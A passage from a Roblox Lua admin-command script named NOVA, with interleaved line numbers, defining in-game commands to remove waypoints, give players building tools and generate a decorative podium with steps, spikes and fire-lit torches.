        end
4857
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4858
    end
4859
)
4860
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4861
    function(Msg,Speaker)
4862
        Rtn = {}
4863
        for num,v in pairs(NOVA.Waypoints) do
4864
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4865
                table.insert(Rtn,num)
4866
            end)
4867
        end
4868
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4869
            RemoveTablets(Speaker)
4870
            for _,v in pairs(Rtn) do
4871
                table.remove(NOVA.Waypoints,v)
4872
            end
4873
        end)
4874
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4875
    end
4876
)
4877
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4878
    function(Msg,Speaker)
4879
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4880
            pcall(function()
4881
                for i=0,3 do
4882
                    Instance.new("HopperBin",v.Backpack).BinType = i
4883
                end
4884
            end)
4885
        end
4886
    end
4887
)
4888
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4889
    function(Msg,Speaker)
4890
        local MainColor = Color3.new(0,0,0)
4891
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
4892
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4893
        local MainCFrame = Speaker.Character.Torso.CFrame 
4894
            * CFrame.new(0,-4,0)
4895
            + Speaker.Character.Torso.CFrame.lookVector*3
4896
        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4897
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4898
            + Speaker.Character.Torso.CFrame.lookVector*3
4899
        if CFrame == nil then return end    
4900
        coroutine.resume(coroutine.create(function()
4901
        
4902
            for i=1,25 do
4903
                wait()
4904
                local Step = Instance.new("Part",Main)
4905
                Step.FormFactor = "Custom"
4906
                Step.Name = "Step"
4907
                Step.Anchored = true
4908
                Step.Locked = true
4909
                Step.Reflectance = 0
4910
                Step.TopSurface = "Smooth"
4911
                Step.BottomSurface = "Smooth"
4912
                Step.BrickColor = BrickColor.new(SeccondaryColor)
4913
                Step.Size = Vector3.new(6,1,3)
4914
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
4915
                Instance.new("BlockMesh",Step)
4916
                
4917
                local Carpet = Instance.new("Part",Main)
4918
                Carpet.FormFactor = "Custom"
4919
                Carpet.Name = "Carpet"
4920
                Carpet.Anchored = true
4921
                Carpet.Locked = true
4922
                Carpet.Reflectance = 0
4923
                Carpet.TopSurface = "Smooth"
4924
                Carpet.BottomSurface = "Smooth"
4925
                Carpet.BrickColor = BrickColor.new(MainColor)
4926
                Carpet.Size = Vector3.new(4,1,3.2)
4927
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
4928
                Instance.new("BlockMesh",Carpet)   
4929
            end     
4930
            local MainCirc = Instance.new("Part",Main)
4931
            MainCirc.FormFactor = "Custom"
4932
            MainCirc.Name = "MainCirc"
4933
            MainCirc.Anchored = true
4934
            MainCirc.Locked = true
4935
            MainCirc.Reflectance = 0
4936
            MainCirc.TopSurface = "Smooth"
4937
            MainCirc.BottomSurface = "Smooth"
4938
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
4939
            MainCirc.Size = Vector3.new(20,1,20)
4940
            MainCirc.CFrame = SeccondaryCFrame
4941
            Instance.new("CylinderMesh",MainCirc)
4942
            
4943
            local SeccondaryCirc = Instance.new("Part",Main)
4944
            SeccondaryCirc.FormFactor = "Custom"
4945
            SeccondaryCirc.Name = "SeccondaryCirc"
4946
            SeccondaryCirc.Anchored = true
4947
            SeccondaryCirc.Locked = true
4948
            SeccondaryCirc.Reflectance = 0
4949
            SeccondaryCirc.TopSurface = "Smooth"
4950
            SeccondaryCirc.BottomSurface = "Smooth"
4951
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
4952
            SeccondaryCirc.Size = Vector3.new(18,1,18)
4953
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
4954
            Instance.new("CylinderMesh",SeccondaryCirc)
4955
            for i=1,math.floor(360/6) do
4956
                local Spike = Instance.new("Part",Main)
4957
                Spike.FormFactor = "Custom"
4958
                Spike.Name = "Spike"
4959
                Spike.Anchored = true
4960
                Spike.Locked = true
4961
                Spike.Reflectance = 0
4962
                Spike.TopSurface = "Smooth"
4963
                Spike.BottomSurface = "Smooth"
4964
                Spike.BrickColor = BrickColor.new(MainColor)
4965
                Spike.Size = Vector3.new(1,7,1)
4966
                Spike.CFrame = SeccondaryCFrame 
4967
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
4968
                    * CFrame.new(7,-7,0)
4969
                Torch = Instance.new("Part",Main)
4970
                Torch.Reflectance = 1e+999
4971
                Torch.FormFactor = "Custom"
4972
                Torch.Shape = "Ball"
4973
                Torch.Anchored = true
4974
                Torch.Locked = true
4975
                Torch.Size = Vector3.new(2,2,2)
4976
                Torch.CFrame = Spike.CFrame
4977
                    * CFrame.new(0,3.5,0)
4978
                    * CFrame.Angles(0,0,0)
4979
                Instance.new("Fire",Torch)
4980
            end
4981
        end))
4982
    end
4983
)